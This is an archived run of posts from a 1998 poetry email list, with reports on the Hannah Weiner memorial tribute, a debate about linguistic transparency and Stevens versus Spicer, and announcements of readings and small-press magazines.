> a corrective to the "too-easy and too-prevalent assumption
> of linguistic transparency." Name one 20th-century linguist
> or philosopher of language who assumed anything like this.
> Name one English major who assumed it. The easy and prevalent
> assumption today is the reverse: language is completely
> opaque."
>
> I spent my English major education at the University of
> Wisconson-Milwaukee where the vast majority of my fellow E-majors
> believed in linguistic transparency, and not a few professors as
well.
> I had a fellow student wave a copy of "I Know Why the Caged Bird
> Sings" in my face while she yelled, "this IS Maya Angelou, this IS
> Maya Angelou"! My experience was that I had to battle constantly
to
> get people to even listen to the idea that language wasn't a
window
> with "reality" on the other side. I still do, now that I spend my
days
> with English majors who toil away in Silicon Valley.
>
> Pete

Get Your Private, Free Email at http://www.hotmail.com

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210. Eliza McGrand

Re: another important reading announcement

Tue 10 Nov 1998

WHAT TIME is kenward elmslie reading daniel!?!
e

↑ Index

211. Tom Orange
a suggestion hannah event
Tue 10 Nov 1998

on Mon, 9 Nov 1998 R M Daley:

> *message from a youngin (even under 30 even) who attended inconspicuously who never saw hannah weiner nor most of the tribute's readers (before)*

ditto largely from yr reporter here, even an odd under but over 30. and yes to finally have faces voices bodies to put to some of those names.

here's my tally, woefully incomplete as my attentiveness to scribbling fluctuated over the course of the 3+ hours. others invited to please fill in gaps and/or correct errors oversights &c as needed.

..lee ann brown.. biographical statement by hw from silent teachers remembered sequal
..andrew levy..
..charles alexander..
..bruce andrews.. from we speak silent incl. turpitudimous and bruce introduces
..abigail child.. collaborations/letters w. hw
..tina darragh.. dream published by n. johnson -?
..lewis warsh.. from the fast, day 4 or 5
..kenneth goldsmith.. his own text after hw
..carolee schneeman.. slides, visual aides, anecdotes c. 1960s and early 70s, from the garment days to early clairvoyance
..bob harrison..
..michael heller.. anecdotes, unpub 1964 collaboration with hw growing out of their workshops with kenneth kock
..peter inman..
..jackson mac low w/anne tardos present-regrets.. from the fast day 6 and code poems
..sharon matlin..
..hw's brother..
..henry hills.. two films, titles -?
..nick piombino.. from weeks
..maria damon.. from the zero one, md collab. with mikel and after hw, md (un)finished correspondence w/hw
..joan retallack.. anecdotes via the waldrops, from written in the zero one and nijole's house
..barbara rosenbaum.. journal entries involving hw c. 1989-90
..james sherry.. difficulties publishing hw's work, assessing her "madness"

..ron silliman.. letter -?
..todd -?
..alan davies..
..lee ann brown.. collaborations w/ hw
..charles bernstein.. from an unpub 1990 mss entitled pages, poem by cb about hw and cb's son
..lab/cb.. joint reading

interesting to see what people do within the genre of the five-minute (give or take fifteen) tribute presentation: hw's own texts, work written with her, work inspired by her, anecdotes and recollections. to see the choices of hw texts people read, and the way they read them, the play of voices say mac low reading hw as opposed to bernstein reading hw (who sounded most/least like themselves?) -- the extent to which this antiphony or dialog can reiterate the multivoicedness of hw's texts.

hw's brother's presentation was quite moving (as were several others that spoke to the difficulties of living working w/her, as family or friend or protege), heller's and schneeman's the most interesting for their historical value. the films were terrific, seeing "language boys" c. late 1970s cut in w/hw rooftop reading, the image and especially sound editing being a marvelous translation of hw's work.

lots learned, lots of questions raised: ..1) did people who knew her before the 1960s see harbingers of the clairvoyance or reason to suspect an unusual mental life? or was there a clear line of demarcation circa the writing of the fast? ..2) is there much unpublished work remaining out there, what's the quality like, and are we likely to see it? ..3) i noticed a resemblance, formally, the look on the page, between, say, spoke, and dennis tedlock's translations of zuni indian texts. coincidencental?

good to finally meet maria damon, chris alexander and linda russo whom i hope to see in a few weekends in buffalo. the toronto gang in the form of scott pound and peter jaeger + swedish buffalo poetics immigrants were missed due to clutch trouble. dan farrell and sianne ngai vamoosed. thus following indian food w/ brian kim stefans and tom mediadios, festivities at james sherry's, then thirsts to quench.

respectfully submitted....t.

↑ Index

212. Dan Dlugonski
re : PacNorWest/ Charlie Potts
Tue 10 Nov 1998

Yes, Valga Krusa fine wild history. the other night during an intoxicating party i tried to describe it as an american 60s finnegans wake. someone at the part where potts was was given a copy of valga krusa, so he still has copies (book was done by litmus editons.) this gives me change ot correct my previous email, potts web site is http:// www.wwics/~tsunami.com, e mail [redacted], snail at po box 100, walla walla 99362.

↑ Index

213. Fredrik Hertzberg
Re: linguistic transparency
Tue 10 Nov 1998

At 18:11 9.11.1998 -0800, you wrote:
> Mark Baker wrote:
> "But maybe not as naive as the need for LANGUAGE poets to provide
> a corrective to the "too-easy and too-prevalent assumption
> of linguistic transparency." Name one 20th-century linguist
> or philosopher of language who assumed anything like this.
> Name one English major who assumed it. The easy and prevalent
> assumption today is the reverse: language is completely
> opaque."

But even though it's assumed it doesn't follow that it's acted upon. Though it's politically correct and all that, do you really think people act as if language were opaque? I think there's a distinction between sense and sensibility there - reason tells me but I can't help it, I'll have another Coke.

What I think is part of the problem is the too sharp distinction between opaque and transparent- this idea seems influenced by Saussure's notion of the arbitrary relation between signfier and signified. It creates the illusion of a materiality that is totally opaque. Materiality should rather I think be thought of as semipermeable or something, some kind of liquid, Coke? We can always swim through the materiality, and do swim in various ways. To say that it's impenetrable (like Paul the Man used to) is to pretend one isn't inscribed into language, that it's a foreign object. Isn't that a hypocritical position?

Fred

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214. **Ron Silliman**

Hannah Weiner notes

Tue 10 Nov 1998

HAPPY BIRTHDAY HANNAH!
Simply listing the 30 or so

folks who read or spoke or
showed films, slides or dream hoops

at the 70th birthday memorial celebration
of Hannah Weiner can't possibly convey

what a remarkable and special event took
place at St. Marks Church last Saturday.

The celebration was organized by Andrew
Levy, Lee Ann Brown and Charles Bernstein,

three poets who really get what the word
community suggests, and was framed by

their own contributions, Andrew leading off
with a reading of his piece from the

Poetry Project Newsletter. There were
70 people present at the beginning and

maybe 80 at the very end three and
one-half hours later, as lots of people

came and went over the course of
the event. At one point I counted

over 100. Hearing Hannah's work
read by most of the 30 speakers over

such an extended period of time
(and, I believe, with only one piece

repeated during the entire afternoon)
was itself a total immersion, and it

was evident constantly just how
deeply her work has seeped into so

many of our reading/writing/thinking
styles. Some of the moments that stuck

out for me:
Bruce Andrews' reading of "Bruce Introduces" --

"Hannah can't embarrass me with this anymore
so I'll have to do it myself" -- a fabulous

articulation of tough guy voices in Hannah's work.
Abigail Childs' reading from a correspondence

with Hannah, working out the details of a collaboration
I wish that I'd seen. Both Hannah's style and her total

commitment to craft and detail completely evident.
Tina Darragh getting exactly right how Hannah's voice

would change on the phone in an instant and
become totally business-like if you just asked the right question.

Lewis Warsh's reading of Hannah's birthday poem
from The Fast. And pleading for someone to bring

Clairvoyant Journal back into print.
Phill Niblock's and Henry Hills' films of Hannah.

Hannah seemingly decades younger in Niblock's 1974
version reading from Clairvoyant Journal than in

Henry's 1981 Plagiarism, which however included
very young versions of Charles Bernstein (with an

"Art Garfunkel" afro that made the audience gasp),
James Sherry and Bruce Andrews.

Carolee Schneeman's slideshow of old photos --
her and Paul Blackburn waiting for Hannah at a

Be-In, Hannah cooking dinner "sane as a button"
in the 60s, etc -- and especially Schneeman's dream hoop

that contained several bras designed by Hannah
during her early 1960s careers as a lingerie designer,

to which Carolee added pink Christmas tree lights.
Carolee described meeting Hannah as the result

of a planned performance piece in which, at a very
late moment before the event, the sponsors indicated

that the performers could not, in fact, appear nude,
so that she went to Maidenform to ask about

"experimental underwear" and the folks at Maidenform
said "you must meet Hannah Weiner."

Michael Heller's account of Kenneth Koch's 1964
writing class that included Hannah, Ceravolo, Kathy Fraser,

Heller himself, Towle and about 10 other immediately
recognizable names, as well as a later period in Europe

(Greece?) where Hannah came and worked on what
became the Code Poems. An account of the coast guard's

willing participation in one of the events and of
Hannah's "street events." Sharon Matlin's lengthy

fictional memoir of "Elizabeth." Matlin and
Barbara Rosenthal spoke pointedly about the role

and the problems faced by the isolated woman artist.
Maurice Finegold, Hannah's brother, describing

Hannah at a much earlier age, as a student at the
Rhode Island School of Design, then writing

her honors thesis on Graham Greene at Radcliffe,
how his family reacted to Hannah's psychotic episodes.

How the rabbi at her service was unable to figure
out what to do with her books, how to incorporate

that, but how they then found the memorial material up
on the EPC website and used a lot from that.

Maria Damon's reading of her "belated" reply
to a letter Hannah sent several months before

her death, an account of all the current critical
material now being produced about Hannah.

James Sherry speaking of Hannah's attention to
detail, spending 40 hours going over EVERY

line of Little Books/Indians to make sure it was
exactly correct. Lee Ann Brown and Charles

Bernstein performing Hannah's work in two
voices to complete the occasion.

These notes scribed from material
written in a Square Deal Marble Memo

notebook (80 sheets, 4.5x3.25 inches),
much like the ones in which

Hannah composed Little Books/Indians.
Ron Silliman

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215. cris cheek
Re: Hannah Weiner notes
Tue 10 Nov 1998

Big thanks to Ron for the account of Hannah Weiner's tribute.

From those here, who also loved her worked and knew her
and wished we could've been there.

love and love
cris

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216. WENDY KRAMER
nyc people! may i borrow "code poems"
Tue 10 Nov 1998

---

hello, out there it's wendy kramer. does anyone in new york city have a copy of hannah weiner's Code Poems that i could borrow?

please backchannel

gratefully in advance

wendy

↑ Index

217. Brian N Clements
RLP Books on Amazon.com
Tue 10 Nov 1998

Just a note to let you know that two Rancho Loco Press publications--_Best Texas Writing 1_ and Jack Myers' _Human Being_--are now orderable through the online book giant, Amazon.com. Just log into the Amazon.com site (www.amazon.com) and do a book search for either title. Ordering information will appear as if by magic! :)

(Note that it is quicker to search for Jack's book by using both his name and the book title since there are so many books with "Human Being" in the title.)

You can still also order Best Texas Writing nationwide through Borders Books.

Best,
Brian Clements
for Rancho Loco Press

_____
[redacted]

Rancho Loco Press
1920 Abrams Parkway #382
Dallas TX 75214-3915

by no means an orderly Dantescan rising / but as the winds veer

Joe Ahearn

[redacted]

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218. **Katherine Lederer**
EXPLOSIVE #6
Tue 10 Nov 1998

Announcing the publication of

E X P L O S I V E M A G A Z I N E # 6

featuring new work by:

Jenna Roper Harmon

Camille Guthrie

Robyn Schiff

Dale Smith

John Arizza

Jackson Mac Low

Anselm Berrigan

Magdalena Zurawski

Nava Fader

Susan Schultz

Nanos Valaoritis

Individually printed covers by David Larsen /
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from a new location on the upper West Side:

Katy Lederer, ed.
216 W. 104th Street, 1C
NY, NY 10025

$5 per issue / $15 for 3
Make checks payable to Katy Lederer

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219. Joe Amato/Kass Fleisher
Re: Hannah Weiner notes
Tue 10 Nov 1998

---

just to 2nd (and 3rd!) ron's enthusiasm for the hannah weiner event, which both kass and i found amazing (and an amazing way to conduct biography)... and to express appreciation to charles, lee ann, and andy for putting it all together...

great meeting so many of you ftf for the first time, and seeing so many of you again... in all, too marvelous for words...

///

joe

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220. MAYHEW
transparencies
Tue 10 Nov 1998

Isn't it that poets expect language to do more? Either defeat the arbitrariness of the sign or heighten this arbitrariness, but never just leave conventional language alone. Hence poets can be more "naive" than philosophers of language or even "English majors." Pound's theory of language is pretty naive, if you think about it for a few minutes. (though L (R) J is even more naive). Spicer was sophisticated in his understanding of language, but still clinging to this ideal of establishing a more genuine connection between language and the real, as though language weren't always hopelessly conventional.

The oppositions transparent/opaque motivated/conventional are not identical, though they bear on overlapping concerns.

Jonathan

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221. **Randy Prunty**
Central Park magazine
Tue 10 Nov 1998

---

does anyone know if Central Park, edited by Stephen-Paul Martin (and/or others?) is still being published? its not on a recent Selby's list

Randy Prunty

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222. **Henry Gould**
Re: transparencies
Tue 10 Nov 1998

On Tue, 10 Nov 1998 08:39:26 -0600 MAYHEW said:
>Isn't it that poets expect language to do more? Either defeat the
>arbitrariness of the sign or heighten this arbitrariness, but never just
>leave conventional language alone. Hence poets can be more "naive" than
>philosophers of language or even "English majors." Pound's theory of
>language is pretty naive, if you think about it for a few minutes. (though
>L (R) J is even more naive). Spicer was sophisticated in his
>understanding of language, but still clinging to this ideal of
>establishing a more genuine connection between language and the real, as
>though language weren't always hopelessly conventional.

I would say it's a good bet that theories & philosophies of language are more conventional than language is. This idea of language as either opaque/transparent "window" on reality - an utterly abstract counter, hopelessly limited to whatever argument is being proposed. As if reality were simple & shared by all (not just the theorists even) in the same ways, and language either "looks out" on it or doesn't.

I like Stevens' concept of poetry as the "violence" of the imagination pushing back, resisting, the violence of (contemporary) reality. So a metaphor is a kind talking at a slant - an alienation effect - in order to protect a threatened domain of (perhaps only imagined) reality. For Stevens, both "reality" & "imagination" were - REAL, existing. To go back to Spicer's image of language in itself alone as an untied rope - he's acknowledging the realness of the real while defending (via the metaphor) poetry's right to connect with it in its own way. Now Joe Safdie raised the issue of whether this wasn't a very different attitude that that of the language poets; Ron Silliman disagreed. I think you could look at the project of the language poets as taking that "alienation effect" - poetry pressing back against the real - to a certain limit. The controversy (unfairly imposed on the langpos perhaps - transferred from postmodernism debates) over the status

of the real seems to have this tendency to go down a blind alley - arguing whether your resistance - ie. your self-enclosed "deconstructed" non-referential language - can still really be called resistance if you deny the very existence of your antagonist. It's easy for a boxer to go into the ring and say "there's no such thing as the other guy" - until he throws a punch.

- Henry Gould

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223. KENT JOHNSON
My address and phone
Tue 10 Nov 1998

On Nov 10, Patrick Pritchett said:

> *Bill is a very nice guy. Please, invite him to your town to read.*

Since flaunting one's wares is not only permitted but encouraged on this List I would like to say:

I, too, am a very nice guy. Please, invite me to your town to read.

Kent Johnson
1147 W. Lincoln Blvd.
Freeport, IL 61032
tel. [redacted]

↑ Index

224. Maria Damon (Maria Damon)
Re: Hannah Weiner notes
Tue 10 Nov 1998

---

yes, to add to the general enthusiasm, it was a wonderful event, i learned a lot, met some groovy folks, and reconnected w/ previously known groovy folks. did anyone mention fiona templeton's astonishing performance? looked like she was channeling hannah, or at least concentrating very hard on receiving words from elsewhere...xo, md

At 8:39 AM 11/10/98, Joe Amato/Kass Fleisher wrote:
>just to 2nd (and 3rd!) ron's enthusiasm for the hannah weiner event, which
>both kass and i found amazing (and an amazing way to conduct biography)...
>and to express appreciation to charles, lee ann, and andy for putting it
>all together...
>
>great meeting so many of you ftf for the first time, and seeing so many of
>you again... in all, too marvelous for words...

>
>///
>
>joe

↑ Index

225. Pritchett,Patrick
Bill Luoma at Penny Lane
Tue 10 Nov 1998

For an unemployed poet, Bill Luoma carries himself with real sang froid. Did you know that Luoma in Finnish means something like: "the stream that in spring runs very fast then dries up in summer"? That, at any rate, is a line from his remarkable elegy to his father, "Dear Dad," which he read last night at Penny Lane here in Boulder. A series of epistolary evocations of their life together, this poem moves with great eloquence, pathos and humor, assembling a snapshot collage that is by turns deeply affectionate, wryly bitter, and amazingly light on its feet.

Bill is a very nice guy. Please, invite him to your town to read.

Patrick Pritchett

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226. KENT JOHNSON
Stevens and Spicer
Tue 10 Nov 1998

On Nov. 10, Henry Gould wrote:

> *I like Stevens' concept of poetry as the "violence" of the imagination pushing back, resisting, the violence of (contemporary) reality... For Stevens, both "reality" and "imagination" were - REAL, existing. To go back to Spicer's image of language in itself alone as an untied rope - he's acknowledging the realness of the real while defending (via the metaphor) poetry's right to connect with it in its own way.*

For Stevens, Reality and Imagination are both Real, but also separate. You could think of his poetry, in a sense, as a kind of apartheid solution to the problem of being. The imagination builds a circling wall with lovely shards of glass along the top to keep the natives out.

For Spicer, poetry doesn't so much, I'd say, have a "right" to connect to the Real-- it is the very purpose of poetry to do so, to be impure, to be a town of huts full of different voices and stories. Or at least to try to do so. To connect.

Compare Stevens' sonorous verse (it's beautiful; I love to read it) to Spicer's jagged, carefully dissonant songs (personally, I love them more).

In Spicer, Poetry is the boat to make the crossing; in Stevens, it is the moat to keep the castle.

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227. Christopher Reiner
L.A. Reading on Sunday
Tue 10 Nov 1998

Hey, Southern Californians--

L.A. Books presents a reading by Cydney Chadwick and Elizabeth Treadwell. Sunday, November 15, at 4:00 p.m., at Cafe Balcony, 12431 Rochester Avenue (near Santa Monica Blvd. and Centinella).

Cydney Chadwick is the author of seven books of fictions and prose poems, the most recent of which is _Inside the Hours_. Her work has appeared in _The Gertrude Stein Awards for Innovative Amercian Poetry, 1994/1995_ and _The Poet's Calendar for the Millennium_, both from Sun & Moon Press. She is the 1998 winner of the New American Fiction Award, and a recipient of a California Arts Council Fellowship in Fiction. Several of her stories are being made into a film by an independent filmmaker in Australia. She lives about forty miles north of San Francisco, in the countryside of Sonoma County.

Elizabeth Treadwell's _The Erratix & Other Stories_ is just out from Texture Press. A collection of her prose poems, _Populace_, is forthcoming from Avec Books, and is excerpted in _An Avec Sampler 2_ (1998). Her previous books are the novel _Eleanor Ramsey: the Queen of Cups_ (San Francisco State University, 1997) and the chapbook _Eve Doe (becoming an epic poem)_ (Double Lucy, 1997). She teaches Composition and Creative Writing at a variety of institutions and is the editor and publisher of _Outlet_ magazine and Double Lucy Books.

L.A. Books website: http://www.litpress.com

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228. daniel bouchard
Re: My address and phone
Tue 10 Nov 1998

Am investigating potential reading series in my town.
Unaware till now that very nice guy's were available.
Will keep Bill and Kent in mind as things progress.
No one but very nice guys need apply. Would like

very nice gals too but don't want to appear lecherous
in saying so. Lechery smacks of not very nice guys.

At 11:02 AM 11/10/98 -0500, you wrote:
>On Nov 10, Patrick Pritchett said:
>
>>Bill is a very nice guy. Please, invite him to your town to read.
>
>Since flaunting one's wares is not only permitted but encouraged
>on this List I would like to say:
>
>I, too, am a very nice guy. Please, invite me to your town to read.
>
>Kent Johnson
>1147 W. Lincoln Blvd.
>Freeport, IL 61032
>tel. [redacted]
>
<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]
  fax: [redacted]
>>>>>>>><<<<<<<<<<<<<<<<<<

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229. **Dale Smith**
Re: My address and phone
Tue 10 Nov 1998

Kent:

Please come to Our Town to read. We have a very good airport bar and lounge (Texas-sized Bud Lites come with any shot free between 1 and 7). I am setting up the Nice Guy Reading Series for early next year. Maybe we can double-bill you and David Bromige? In deed, I had a dream in which you, myself and David met on an airport runway, greeting each other in a Group Hug while the wind of passing jets blew against our faces. As we strolled arm-in-arm toward the bar we composed a Nice-Guy Manifesto, descrying all the insulting Rogues and Spicerian Meanies who make us a little self-conscious. As I recall, you puked in

B's lap, as your detachable angel wings fluttered, lifting you forward into smoky air and smoke-laced light. Ah, Adieu, until we meet again... Nice Guys Rule!

> *On Nov 10, Patrick Pritchett said:*
>
> *Bill is a very nice guy. Please, invite him to your town to read.*
>
> *Since flaunting one's wares is not only permitted but encouraged on this List I would like to say:*
>
> *I, too, am a very nice guy. Please, invite me to your town to read.*
>
> *Kent Johnson*
> *1147 W. Lincoln Blvd.*
> *Freeport, IL 61032*
> *tel.* [redacted]

Get Your Private, Free Email at http://www.hotmail.com

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230. KENT JOHNSON
Nice guys
Tue 10 Nov 1998

On Nov. 10, Dan Bouchard wrote:

> *Am investigating potential reading series in my town. Unaware till now that very nice guy's were available. Will keep Bill and Kent in mind as things progress. No one but very nice guys need apply. Would like very nice gals too but don't want to appear lecherous in saying so. Lechery smacks of not very nice guys.*

In that case, Dan, you should probably scratch my name from your list of "nice guys"

Kent

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231. William Marsh
Re: A suggestion-
Tue 10 Nov 1998

---

joel k asks: >LA Boys: what happened at the Ribot Conference? I tried to go, but got lost in traffic, and ended up in long beach. "What's your cell-phone?"

i'll bite on Ribot, though i ain't no LA Boy / made the trek from San D on I-5 -- caught a little random traffic but not too bad / can't say much about opening night reception (attended the Arshile 10 reading at Beyond Baroque which went concurrently) , but heard second-handedly from the if not over sixty at least nearing 60 crowd that the under thirty or perhaps just past had demonstrated in part their generational difference by canting idiolects of largely different swangs, ie, talking different if not "thinking different" /which came up the second day, saturday (conference day) via Apple's running billboard ad which Standard Schaefer had on approach passed and then brought up as i think synecdochic evidence for the REAL value-droppings which LA folks have to contend with daily in efforts to outsmart, maybe out-flank, the spectacle / generational angst and anxiety of influence were running, if maybe on a treadmill, themes, and the "what next" question had its heels firmly planted on that slipperyest of slopes / Paul Vangelisti, Douglas Messerli, Martha Ronk, Guy Bennett, those whose names i apologize for not remembering, had much good things to say, most particularly as with others regarding readability and accessibility which for poets more than other artists evidently usher greater worries and misgivings / visual artists i found out take very little stock in the term "innovative" / Cathy Wagner and i agreed that the Internet has maybe more than "communication" in mind for all of us, though group conversation focused more on how (h)email might affect the evolution of writing itself, and a few agreed that immediacy (thanks Joel) of transport makes for maybe a more active collaborative conjunction-forming network, though it remains odd that what binds the so-called younger is the so-called lack of collective agenda, that being debatable right down to its core, and so it was / the Halloween night Masked Ball is something of a blur so please someone fill that in, but its conclusion sent John Lowther, Cathy W, Standard S, Paul V, Emily Grossman, Tracy Grinnell, Will Alexander (appearing late), Jacques Debrot (that charming orator), myself, some whose names (but not faces) i again apologize for forgetting, to the Firehouse or Firestarter or Fire____ bar across the street from the Furama Hotel on Lincoln Blvd, where some sat in a booth and told ghost stories while others gathered around the pool table to prove that poets can "call their shots" as well as the best of them / what happened after the table shut down i can't report / thanks to those who organized for the gratis copy of *Ribot* -- best candy in the t-or-t bag for sure

, bill

[redacted]

- - - -

- -

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232. **KENT JOHNSON**
Re: Stevens and Spicer
Tue 10 Nov 1998

On Nov. 10, Henry Gould said:

> *For this he [Stevens] is criticized as an elitist aesthete even unto Kent today.*

Now Henry, don't get so riled up there old chap. I didn't mean to say I had anything against Stevens, though admittedly my Apartheid figure of speech probably gave that impression.

Even though he was a racist pig.

(Well, OK, Spicer too, so I shouldn't have raised that hot potato.)

No, I _love_ Stevens. I was just trying to say that there is a pretty big ontological and epistemological (I love using those big-boy words) difference. And if I like Spicer more than Stevens it's probably related to the fact that I like Ives more than Brahms. But I like Brahms too.

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233. **schuchat**
finishing last or whenever
Tue 10 Nov 1998

although I am told I am more or less a nice guy, I would just as soon not be invited to read, in most towns that I can think of, at least for the foreseeable future.

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234. **dbkk**
Re: Jack Spicer commemorated
Tue 10 Nov 1998

> *Date: Mon, 9 Nov 1998 11:00:03 -0800*
> *From: david bromige <[redacted]>*
> *Subject: Jack Spicer commemorated*
>
> *My highly subjective take on this occasion at SF's Yerba Buena Center needs to be fleshed out by a Listee better able to identify the readers...Dodie? Kevin?*

Actually, David, the readers were posted to the list when we advertised it. Here's who was intended to be at the event:

Kevin Killian
Peter Gizzi
Jim Alexander
David Bromige
Wesley Day
Ernie Edwards
Lew Ellingham
Gerald Fabian
Nemi Frost
Larry Kearney
Joanne Kyger
Alvin William Moore
Mary Rice Moore
John Norton
Ariel Parkinson
James Schevill
Richard Tagett

Peter, Jim Alexander, and Mary Rice Moore weren't able to make it, however. There were a couple of people who knew Spicer in the audience--such as Catherine Mulholland--whom Kevin had never met and whom, sadly, he didn't learn about until the next day when he and Lew were deconstructing the event.

> *Arriving slightly late due to a delay on Bart that held up Creelea Henderson, one of my two pre-reading dinner companions (the other being CH's S.O., Brent Cunningham), we found to our dismay the box-office person claiming the event was sold out. "Take my left arm," I said to Brent; and, "take my right arm," I told Creelea. I informed the house manager that I could not get up the (long) flight of stairs w/o this help.*

I must say, you were very effective at acting feeble, David--too so--I was worried about you until Kevin clued me in.

As far as the difficulties at Yerba Buena, they have very strict fire codes there and as it was we let in more people than the Nazi house manager found tolerable. Natasha, our co-curator, had to fight with him to get as many people in there that there were. It's a pity that people had to be turned away. We were going to work towards a larger space at Yerba Buena, but due to various mishaps I won't go into, that didn't happen. When the evening was over, I went up to the house manager, took his hand, smiled, and said, "That wasn't so bad, was it?" He didn't say a word, just glared at me. One of the readers was talking about Dada, and I thought that having the old-school Bohemians in the space age design of the Yerba Buena lounge had more than a bit of Dada effect.

> *The readers I liked best were Joanne Kyger, inimitably (non)theatrical, and--new to me--Nemi Frost, who was, as a visual artist, not expected to read well at all, eh? She was brilliant. She prefaced her reading with an account of the anarchist monopoly games she, JS and friends would play while drinking martinis.*

One of the best perks of being the Wife of the Biographer has been getting to hang out with Nemi--went to the opening of the Museum of Modern Art with her, over to her apartment for drinks, out to dinner and to an art opening in Marin, to her own opening at a designer showcase (Diane Feinstein showed up in a red power suit) and each time was a blast. Nemi knows how to enjoy life.

After the event, Kush, who taped it, was talking about doing a Spicer video screening--showing clips from the Yerba Buena event as well as the 1986(?) Spicer conference at New College. What do you think of that idea?

Thanks for writing in about the event, David. We'll be sure to attach it to grants as a "review."

Dodie

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235. henry gould
Re: Stevens and Spicer
Tue 10 Nov 1998

On Tue, 10 Nov 1998 11:40:12 -0500 KENT JOHNSON said:
>
>For Stevens, Reality and Imagination are both Real, but also
>separate. You could think of his poetry, in a sense, as a kind of
>apartheid solution to the problem of being. The imagination builds a
>circling wall with lovely shards of glass along the top to keep
>the natives out.
>
>For Spicer, poetry doesn't so much, I'd say, have a "right" to
>connect to the Real-- it is the very purpose of poetry to do so, to
>be impure, to be a town of huts full of different voices and stories.
>Or at least to try to do so. To connect.
>
>Compare Stevens' sonorous verse (it's beautiful; I love to read it)
>to Spicer's jagged, carefully dissonant songs (personally, I love
>them more).
>
>In Spicer, Poetry is the boat to make the crossing; in Stevens, it is
>the moat to keep the castle.

Stevens created his own idiom & liked to explore the idea of an imaginative dimension where there is freedom to see reality for the first time - in all its harshness and beauty. For this he is criticized as an elitist aesthete even unto Kent today. Kent, a boat may not necessarily be purely functional, designed to ferry us from the huts over here to the huts over there (those huts, full of "different voices" - but nobody should try to sound TOO different - people might accuse you of puttin' on high-falutin' "verse airs"). In fact some people build boats just to float on the water, just to drift downtream, on a whim. Somebody wrote somewhere (was it J?) that the whole wide world was saved by a guy who built a boat - back in em Diluvian days. - henry Gould

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236. Mairead Byrne

Re: Sometimes good guys don't wear white

Tue 10 Nov 1998

I would desperately like to join in all this fun but can't because of an advisory notice I received from .... from ... oh yeah it wasn't signed, reminding me to stick to the purpose of the list.

On Wed, 11 Nov 1998, David Baratier wrote:

> *Bill is a very nice guy. Please, invite him to your town to read.*
>
> *Since I have never met Kent I can only go on heresay but if I were to meet him, if he were to have me out to read, I would be willing to vouch for him.*
>
> *Since flaunting one's wares is not only permitted but encouraged on this List I would like to say:*
>
> *Also, I, too, am a very nice guy. I toot my horn but at a tolerable rate. If it is a criteria, similar to Bill, I also am unemployed and in tremendous spirits. Please, invite me to your town to read.*
>
> *Be well*
>
> *David Baratier*

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237. Charles Bernstein
Re: Hannah Weiner notes
Tue 10 Nov 1998

Thanks to those who have so far given reports on Hannah Weiner: A 70th Birthday Memorial Tribute, which was held on Saturday, Nov. 7, at the Parish Hall of the Poetry Project at St. Mark's Church in NYC, from 4:15 to 7:30. For now, I just want to post a full list of the participants, and the order of the program, as a way of commemorating this event. I hope, at some later point, to say more (I feel much too much inside the event still to write about it in detail now). But on behalf of Lee Ann Brown, Andrew Levy and myself (the organizers) we want to thank all these participants and also to the many people who came, and especially the Poetry Project, and in particular Marcella Durand, Ed Friedman, John Fisk (who made a complete audio recording of the event) and Anselm Berrigan for their help.

Andrew Levy
Charles Alexander
Bruce Andrews
Abigail Child
Maria Damon
Tina Darragh
Lewis Warsh
Kenneth Goldsmith
Slides presented by Lee Ann Brown
Carollee Schneemann with slides
Bob Harrison
Michael Heller
Maurice Finegold (Hannah's brother)
Phill Niblock mid-70s film of Hannah Weiner reading her work
Henry Hills's 1982 film Plagarism, with Weiners, Bernstein, Andrews, & Sherry
Peter Inman
Jackson Mac Low (for himself and Anne Tardos)
Sharon Mattlin
Nick Piombino
Joan Retallack
Barbara Rosenthal
James Sherry
Ron Silliman
Fiona Templeton
Tod Thilleman
Bob Perelman
Alan Davies

Lee Ann Brown
Charles Bernstein
Brown and Bernstein: concluding two-voice reading from The Clairvoyant Journal

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238. KENT JOHNSON
The man on top
Tue 10 Nov 1998

On Nov. 10, Mairead Byrne said:

> *o ye of the rampant hormones and male chub-clubbiness I hope ye all get messages from the man at the top (on top?)*

Mairead: I hope I do too! If it's a message inviting me to Buffalo _to read_, that is. If he does invite me, that man up there, I will even let him be on top. In fact, _anybody_ out there: If you invite me to read, I'll let _you_ be on top!

So far the only invite I've got is from Brown, but that's not till February, so even there, it's almost like they're trying to put it off as long as they can... C'mon you all, what's the matter with me, do I have crabs or somethin? It looks to me like every single person on thsi list has readings lined up here and there and everywhere! You have my address and you have my phone number. INvite me and I pledge to you: even the rocks and the trees will dance. $1000 plus expenses. Kent

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239. Eliza McGrand
Re: My address and phone
Tue 10 Nov 1998

> *I, too, am a very nice guy. Please, invite me to your town to read.*
>
> *Kent Johnson*

... sure, sure, that was what you said right before the pigeon in your fake greenery crapped in my purse. the only good thing i could say about you was at least you didn't blow your nose on my raincoat like bowering (those canadians... you can take the canadian out of the field, but you can't take the field out of the canadian...)

and rachel is full of hoooey. she told me (back when she was still speaking to me) that bowering didn't even bother with the sleeve, but just used her ARM. you ask me, i did that woman a favor getting bowering off her hands (or arm). but that's the way it always is, nice girls finish last... the ones you help hate you most.

i think i'm going to go fry oatcakes, yodel, and write a sad poem. eat your heart out levinsky, you've eaten the last homemade fried oatcake you'll ever get out of me, you hussy!

e

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240. Eliza McGrand
Re: Sometimes good guys don't wear white
Tue 10 Nov 1998

---

dare i throw my hat into the ring?...

i am partially employed, am pretty bitchy (i mean, screw the oatcakes. you think i'm giving ANYONE any?) and i love to wear tight sequined chartreuse dresses, hum Story Weather evocatively, and read my tone poems while doing my interpretive dancing. and, like sandy dennis, if i can't do my interpretive dancing, i don't want to dance at all. i'll just lounge across the piano, drink absinthe, pick at the side seam on the chartreuse gown, and read my tone poems anyway.

so there.

e

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241. Mairead Byrne
Re: Nice guys
Tue 10 Nov 1998

---

o ye of the rampant hormones and male chub-clubbiness I hope ye all get messages from the man at the top (on top?)

On Tue, 10 Nov 1998, KENT JOHNSON wrote:

> *On Nov. 10, Dan Bouchard wrote:*
>
> *Am investigating potential reading series in my town. Unaware till now that very nice guy's were available. Will keep Bill and Kent in mind as things progress. No one but very nice guys need apply. Would like very nice gals too but don't want to appear lecherous in saying so. Lechery smacks of not very nice guys.*
>
> *In that case, Dan, you should probably scratch my name from your list of "nice guys"*
>
> *Kent*

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242. Timothy Liu
First Annual Asian American Writer's Awards
Tue 10 Nov 1998

